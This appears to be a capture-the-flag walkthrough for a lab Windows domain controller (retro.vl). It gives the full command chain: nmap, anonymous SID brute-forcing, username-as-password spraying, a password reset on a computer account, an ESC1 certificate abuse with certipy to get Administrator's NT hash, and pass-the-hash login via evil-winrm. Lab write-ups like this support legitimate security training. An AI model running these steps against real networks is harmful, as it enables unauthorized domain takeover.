

Level = #Easy

OS = #Windows

IP = 10.129.234.44

Host IP = 10.10.16.150

Initial Scan

```
└─(kali㉿kali)-[~]
└─$ nmap -sC -sS -A 10.129.234.44 -Pn
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-26 14:05 -0400
Nmap scan report for 10.129.234.44
Host is up (0.096s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Simple DNS Plus
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2026-06-26 18:05:37Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: retro.vl, Site: Default-First-Site-Name)
|_ssl-date: 2026-06-26T18:07:04+00:00; -8s from scanner time.
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>,
DNS:DC.retro.vl
| Not valid before: 2024-10-02T10:33:09
|_Not valid after: 2025-10-02T10:33:09
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap        Microsoft Windows Active Directory LDAP (Domain: retro.vl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>,
DNS:DC.retro.vl
| Not valid before: 2024-10-02T10:33:09
|_Not valid after: 2025-10-02T10:33:09
|_ssl-date: 2026-06-26T18:07:04+00:00; -8s from scanner time.
3268/tcp  open  ldap            Microsoft Windows Active Directory LDAP (Domain: retro.vl, Site: Default-First-Site-Name)
|_ssl-date: 2026-06-26T18:07:04+00:00; -8s from scanner time.
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>
```

```
DNS:DC.retro.vl
| Not valid before: 2024-10-02T10:33:09
|_Not valid after: 2025-10-02T10:33:09
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain:
retro.vl, Site: Default-First-Site-Name)
|_ssl-date: 2026-06-26T18:07:04+00:00; -8s from scanner time.
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>,
DNS:DC.retro.vl
| Not valid before: 2024-10-02T10:33:09
|_Not valid after: 2025-10-02T10:33:09
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-06-26T18:07:04+00:00; -8s from scanner time.
| rdp-ntlm-info:
|   Target_Name: RETRO
|   NetBIOS_Domain_Name: RETRO
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: retro.vl
|   DNS_Computer_Name: DC.retro.vl
|   Product_Version: 10.0.20348
|_ System_Time: 2026-06-26T18:06:24+00:00
| ssl-cert: Subject: commonName=DC.retro.vl
| Not valid before: 2026-06-25T18:01:45
|_Not valid after: 2026-12-25T18:01:45
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022
cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows
Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-06-26T18:06:25
|_ start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: -8s, deviation: 0s, median: -8s

TRACEROUTE (using port 3389/tcp)
```

HOP	RTT	ADDRESS
1	109.02 ms	10.10.16.1
2	147.95 ms	10.129.234.44

Adding the domain

```
echo "10.129.234.44 DC.retro.vl retro.vl" | sudo tee -a /etc/hosts
```

Impacket-lookupsid

```
└─(kali㉿kali)-[~]
└─$ impacket-lookupsid anonymous@10.129.234.44 -no-pass
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Brute forcing SIDs at 10.129.234.44
[*] StringBinding ncacn_np:10.129.234.44[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-2983547755-698260136-4283918172
498: RETRO\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: RETRO\Administrator (SidTypeUser)
501: RETRO\Guest (SidTypeUser)
502: RETRO\krbtgt (SidTypeUser)
512: RETRO\Domain Admins (SidTypeGroup)
513: RETRO\Domain Users (SidTypeGroup)
514: RETRO\Domain Guests (SidTypeGroup)
515: RETRO\Domain Computers (SidTypeGroup)
516: RETRO\Domain Controllers (SidTypeGroup)
517: RETRO\Cert Publishers (SidTypeAlias)
518: RETRO\Schema Admins (SidTypeGroup)
519: RETRO\Enterprise Admins (SidTypeGroup)
520: RETRO\Group Policy Creator Owners (SidTypeGroup)
521: RETRO\Read-only Domain Controllers (SidTypeGroup)
522: RETRO\Cloneable Domain Controllers (SidTypeGroup)
525: RETRO\Protected Users (SidTypeGroup)
526: RETRO\Key Admins (SidTypeGroup)
527: RETRO\Enterprise Key Admins (SidTypeGroup)
553: RETRO\RAS and IAS Servers (SidTypeAlias)
571: RETRO\Allowed RODC Password Replication Group (SidTypeAlias)
572: RETRO\Denied RODC Password Replication Group (SidTypeAlias)
1000: RETRO\DC$ (SidTypeUser)
1101: RETRO\DnsAdmins (SidTypeAlias)
1102: RETRO\DnsUpdateProxy (SidTypeGroup)
1104: RETRO\trainee (SidTypeUser)
1106: RETRO\BANKING$ (SidTypeUser)
1107: RETRO\jburley (SidTypeUser)
```

```
1108: RETRO\HelpDesk (SidTypeGroup)
```

```
1109: RETRO\tblack (SidTypeUser)
```

User File

```
Administrator
Guest
trainee
jburley
tblack
```

SMB Enumeration

```
nxc smb 10.129.234.44 -u 'Guest' -p '' --shares
```

Found a share called Trainees and Notes

```
smbclient //retro.vl/Trainees -U 'Guest'
```

```
└─$ nxc smb retro.vl -u user.txt -p user.txt --continue-on-success
SMB          10.129.234.44    445    DC          [+]
retro.vl\trainee:trainee
```

After getting the credentials now Notes can be accessed

```
└─$ smbclient //retro.vl/Notes -U 'trainee%trainee'
Try "help" to get a list of possible commands.
smb: \>
```

Reading through the files, first note says that the banking account is an old existing account that can be accessed. The second note had the `user flag`

Going back through the possible accounts, there is a BANKING\$ Account.

With the information of the notes and how `Trainee` was accessed. Next step is to see if BANKING also has the some type of format.

Confirming that is true, when accessing anything with that account it will come up with

```
retro.vl\BANKING$:banking STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
```

Time to change the password.

Changing the password to Banking

```
└─$ impacket-changepasswd retro.vl/'banking$':banking@10.129.234.44 -newpass
'password123!' -p rpc-samr
```

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```
[*] Changing the password of retro.vl\banking$
[*] Connecting to DCE/RPC as retro.vl\banking$
[*] Password was changed successfully.
```

```
└─$ nxc ldap retro.vl -u "BANKING$" -p 'password123!' -M adcs
LDAP      10.129.234.44  389    DC      [*] Windows Server 2022
Build 20348 (name:DC) (domain:retro.vl) (signing:None) (channel binding:Never)
LDAP      10.129.234.44  389    DC      [+]
retro.vl\BANKING$:password123!
ADCS      10.129.234.44  389    DC      [*] Starting LDAP search
with search filter '(objectClass=pKIEnrollmentService)'
ADCS      10.129.234.44  389    DC      Found PKI Enrollment
Server: DC.retro.vl
ADCS      10.129.234.44  389    DC      Found CN: retro-DC-CA
```

Checking the Certs

```
certipy-ad find -u 'BANKING$' -p 'password123!' -dc-ip 10.129.234.44 -vulnerable -
stdout
```

From this the `retro-DC-CA` is vulnerable to ESC1 attacks.

```
└─$ certipy-ad req -u 'BANKING$' -p 'password123!' -dc-ip 10.129.234.44 -ca
retro-DC-CA -template RetroClients -upn Administrator -debug -target
dc.retro.vl -key-size 4096 -sid S-1-5-21-2983547755-698260136-4283918172-500
Certipy v5.0.4 - by Oliver Lyak (ly4k)
```

```
[+] Nameserver: '10.129.234.44'
[+] DC IP: '10.129.234.44'
[+] DC Host: None
[+] Target IP: None
[+] Remote Name: 'dc.retro.vl'
[+] Domain: ''
[+] Username: 'BANKING$'
[+] Trying to resolve 'dc.retro.vl' at '10.129.234.44'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Trying to connect to endpoint: ncacn_np:10.129.234.44[\pipe\cert]
[+] Connected to endpoint: ncacn_np:10.129.234.44[\pipe\cert]
[*] Request ID is 10
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator'
[+] Could not find SID pattern in security extension
```

```
[+] Found SID in SAN URL: 's-1-5-21-2983547755-698260136s4283918172-500'
[*] Certificate object SID is 's-1-5-21-2983547755-698260136s4283918172-500'
[*] Saving certificate and private key to 'administrator.pfx'
[+] Attempting to write data to 'administrator.pfx'
[+] Data written to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
```

```
$ certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain
'retro.vl' dc-ip 10.129.234.44 Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@retro.vl':
aad3b435b51404eeaad3b435b51404ee:252fac7066d93dd009d4fd2cd0368389
```

Access to Root

```
evil-winrm -u Administrator -H 252fac7066d93dd009d4fd2cd0368389 -i retro.vl
```

Flag is in Desktop.